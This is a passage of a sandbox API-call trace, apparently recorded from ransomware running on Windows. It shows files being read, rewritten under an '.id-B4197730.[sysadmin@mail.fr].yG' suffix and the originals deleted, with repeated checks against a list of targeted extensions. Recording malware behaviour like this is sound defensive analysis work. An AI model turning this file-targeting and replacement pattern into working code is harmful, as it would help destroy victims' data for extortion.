	[0042.944] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.944] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1
	[0042.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0042.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0042.945] lstrlenW (lpString=".doc") returned 4
	[0042.945] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.945] lstrlenW (lpString=".docx") returned 5
	[0042.945] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.945] lstrlenW (lpString=".pdf") returned 4
	[0042.945] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.945] lstrlenW (lpString=".xls") returned 4
	[0042.945] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.945] lstrlenW (lpString=".xlsx") returned 5
	[0042.945] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.945] lstrlenW (lpString=".ppt") returned 4
	[0042.945] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0042.945] lstrlenW (lpString=".zip") returned 4
	[0042.945] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.945] lstrlenW (lpString=".rar") returned 4
	[0042.945] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.945] lstrlenW (lpString=".bz2") returned 4
	[0042.945] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.945] lstrlenW (lpString=".7z") returned 3
	[0042.945] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0042.945] lstrlenW (lpString=".dbf") returned 4
	[0042.945] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0042.945] lstrlenW (lpString=".1cd") returned 4
	[0042.945] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0042.945] lstrlenW (lpString=".jpg") returned 4
	[0042.945] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0042.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0042.946] lstrlenW (lpString=".doc") returned 4
	[0042.946] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.946] lstrlenW (lpString=".docx") returned 5
	[0042.946] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.946] lstrlenW (lpString=".pdf") returned 4
	[0042.946] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.946] lstrlenW (lpString=".xls") returned 4
	[0042.946] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.946] lstrlenW (lpString=".xlsx") returned 5
	[0042.946] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.946] lstrlenW (lpString=".ppt") returned 4
	[0042.946] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0042.946] lstrlenW (lpString=".zip") returned 4
	[0042.946] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.946] lstrlenW (lpString=".rar") returned 4
	[0042.946] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.946] lstrlenW (lpString=".bz2") returned 4
	[0042.946] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.946] lstrlenW (lpString=".7z") returned 3
	[0042.946] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0042.946] lstrlenW (lpString=".dbf") returned 4
	[0042.946] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0042.946] lstrlenW (lpString=".1cd") returned 4
	[0042.946] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0042.946] lstrlenW (lpString=".jpg") returned 4
	[0042.946] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.946] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0042.946] lstrlenW (lpString="eula.rtf") returned 8
	[0042.947] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0043.049] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3546) returned 1
	[0043.049] CloseHandle (hObject=0x2f8) returned 1
	[0043.049] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80
	[0043.049] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.049] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0043.049] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.049] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.049] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0043.050] GetLastError () returned 0x0
	[0043.050] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xdda, lpOverlapped=0x0) returned 1
	[0043.150] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xde0, lpOverlapped=0x0) returned 1
	[0043.151] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.151] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0043.151] SetEndOfFile (hFile=0x2fc) returned 1
	[0043.151] CloseHandle (hObject=0x2fc) returned 1
	[0043.152] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.152] SetEndOfFile (hFile=0x2f8) returned 1
	[0043.152] CloseHandle (hObject=0x2f8) returned 1
	[0043.152] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.153] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1
	[0043.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0043.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0043.153] lstrlenW (lpString=".doc") returned 4
	[0043.153] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0043.153] lstrlenW (lpString=".docx") returned 5
	[0043.153] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0043.153] lstrlenW (lpString=".pdf") returned 4
	[0043.153] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0043.153] lstrlenW (lpString=".xls") returned 4
	[0043.153] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0043.153] lstrlenW (lpString=".xlsx") returned 5
	[0043.153] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0043.153] lstrlenW (lpString=".ppt") returned 4
	[0043.153] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0043.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0043.153] lstrlenW (lpString=".zip") returned 4
	[0043.153] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0043.153] lstrlenW (lpString=".rar") returned 4
	[0043.153] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0043.153] lstrlenW (lpString=".bz2") returned 4
	[0043.153] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0043.153] lstrlenW (lpString=".7z") returned 3
	[0043.153] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0043.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0043.154] lstrlenW (lpString=".dbf") returned 4
	[0043.154] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0043.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0043.154] lstrlenW (lpString=".1cd") returned 4
	[0043.154] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0043.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0043.154] lstrlenW (lpString=".jpg") returned 4
	[0043.154] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0043.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0043.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0043.154] lstrlenW (lpString=".doc") returned 4
	[0043.154] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0043.154] lstrlenW (lpString=".docx") returned 5
	[0043.154] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0043.154] lstrlenW (lpString=".pdf") returned 4
	[0043.154] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0043.154] lstrlenW (lpString=".xls") returned 4
	[0043.154] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0043.154] lstrlenW (lpString=".xlsx") returned 5
	[0043.154] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0043.154] lstrlenW (lpString=".ppt") returned 4
	[0043.154] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0043.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0043.154] lstrlenW (lpString=".zip") returned 4
	[0043.154] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0043.154] lstrlenW (lpString=".rar") returned 4
	[0043.154] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0043.154] lstrlenW (lpString=".bz2") returned 4
	[0043.154] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0043.154] lstrlenW (lpString=".7z") returned 3
	[0043.154] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0043.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0043.154] lstrlenW (lpString=".dbf") returned 4
	[0043.154] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0043.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0043.154] lstrlenW (lpString=".1cd") returned 4
	[0043.154] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0043.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0043.155] lstrlenW (lpString=".jpg") returned 4
	[0043.155] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0043.155] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0043.155] lstrlenW (lpString="eula.rtf") returned 8
	[0043.155] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0043.155] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3683) returned 1
	[0043.155] CloseHandle (hObject=0x2f8) returned 1
	[0043.155] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80
	[0043.155] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.155] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0043.155] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.155] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.155] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0043.156] GetLastError () returned 0x0
	[0043.156] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xe63, lpOverlapped=0x0) returned 1
	[0043.426] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe70, lpOverlapped=0x0) returned 1
	[0043.427] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.427] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0043.427] SetEndOfFile (hFile=0x2fc) returned 1
	[0043.427] CloseHandle (hObject=0x2fc) returned 1
	[0043.428] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.428] SetEndOfFile (hFile=0x2f8) returned 1
	[0043.428] CloseHandle (hObject=0x2f8) returned 1
	[0043.429] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.429] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1
	[0043.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0043.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0043.429] lstrlenW (lpString=".doc") returned 4
	[0043.429] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0043.429] lstrlenW (lpString=".docx") returned 5
	[0043.429] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0043.429] lstrlenW (lpString=".pdf") returned 4
	[0043.429] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0043.429] lstrlenW (lpString=".xls") returned 4
	[0043.429] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0043.429] lstrlenW (lpString=".xlsx") returned 5
	[0043.429] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0043.429] lstrlenW (lpString=".ppt") returned 4
	[0043.429] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0043.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0043.429] lstrlenW (lpString=".zip") returned 4
	[0043.429] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0043.429] lstrlenW (lpString=".rar") returned 4
	[0043.429] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0043.429] lstrlenW (lpString=".bz2") returned 4
	[0043.429] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0043.430] lstrlenW (lpString=".7z") returned 3
	[0043.430] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0043.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0043.430] lstrlenW (lpString=".dbf") returned 4
	[0043.430] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0043.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0043.430] lstrlenW (lpString=".1cd") returned 4
	[0043.430] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0043.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0043.430] lstrlenW (lpString=".jpg") returned 4
	[0043.430] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0043.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0043.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0043.430] lstrlenW (lpString=".doc") returned 4
	[0043.430] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0043.430] lstrlenW (lpString=".docx") returned 5
	[0043.430] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0043.430] lstrlenW (lpString=".pdf") returned 4
	[0043.430] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0043.430] lstrlenW (lpString=".xls") returned 4
	[0043.430] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0043.430] lstrlenW (lpString=".xlsx") returned 5
	[0043.430] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0043.430] lstrlenW (lpString=".ppt") returned 4
	[0043.430] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0043.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0043.430] lstrlenW (lpString=".zip") returned 4
	[0043.430] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0043.430] lstrlenW (lpString=".rar") returned 4
	[0043.430] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0043.430] lstrlenW (lpString=".bz2") returned 4
	[0043.430] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0043.430] lstrlenW (lpString=".7z") returned 3
	[0043.430] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0043.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0043.430] lstrlenW (lpString=".dbf") returned 4
	[0043.430] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0043.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0043.431] lstrlenW (lpString=".1cd") returned 4
	[0043.431] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0043.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0043.431] lstrlenW (lpString=".jpg") returned 4
	[0043.431] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0043.431] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0043.431] lstrlenW (lpString="eula.rtf") returned 8
	[0043.431] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0043.431] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3865) returned 1
	[0043.431] CloseHandle (hObject=0x2f8) returned 1
	[0043.431] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80
	[0043.431] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.431] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0043.431] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.431] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.431] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0043.432] GetLastError () returned 0x0
	[0043.432] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xf19, lpOverlapped=0x0) returned 1
	[0043.668] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xf20, lpOverlapped=0x0) returned 1
	[0043.668] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.668] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0043.669] SetEndOfFile (hFile=0x2fc) returned 1
	[0043.669] CloseHandle (hObject=0x2fc) returned 1
	[0043.669] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.669] SetEndOfFile (hFile=0x2f8) returned 1
	[0043.670] CloseHandle (hObject=0x2f8) returned 1
	[0043.670] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.671] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1
	[0043.671] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0043.671] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0043.671] lstrlenW (lpString=".doc") returned 4
	[0043.671] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0043.671] lstrlenW (lpString=".docx") returned 5
	[0043.671] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0043.671] lstrlenW (lpString=".pdf") returned 4
	[0043.671] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0043.671] lstrlenW (lpString=".xls") returned 4
	[0043.671] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0043.671] lstrlenW (lpString=".xlsx") returned 5
	[0043.671] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0043.671] lstrlenW (lpString=".ppt") returned 4
	[0043.671] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0043.671] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0043.671] lstrlenW (lpString=".zip") returned 4
	[0043.671] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0043.671] lstrlenW (lpString=".rar") returned 4
	[0043.671] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0043.671] lstrlenW (lpString=".bz2") returned 4
	[0043.671] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0043.672] lstrlenW (lpString=".7z") returned 3
	[0043.672] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0043.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0043.672] lstrlenW (lpString=".dbf") returned 4
	[0043.672] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0043.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0043.672] lstrlenW (lpString=".1cd") returned 4
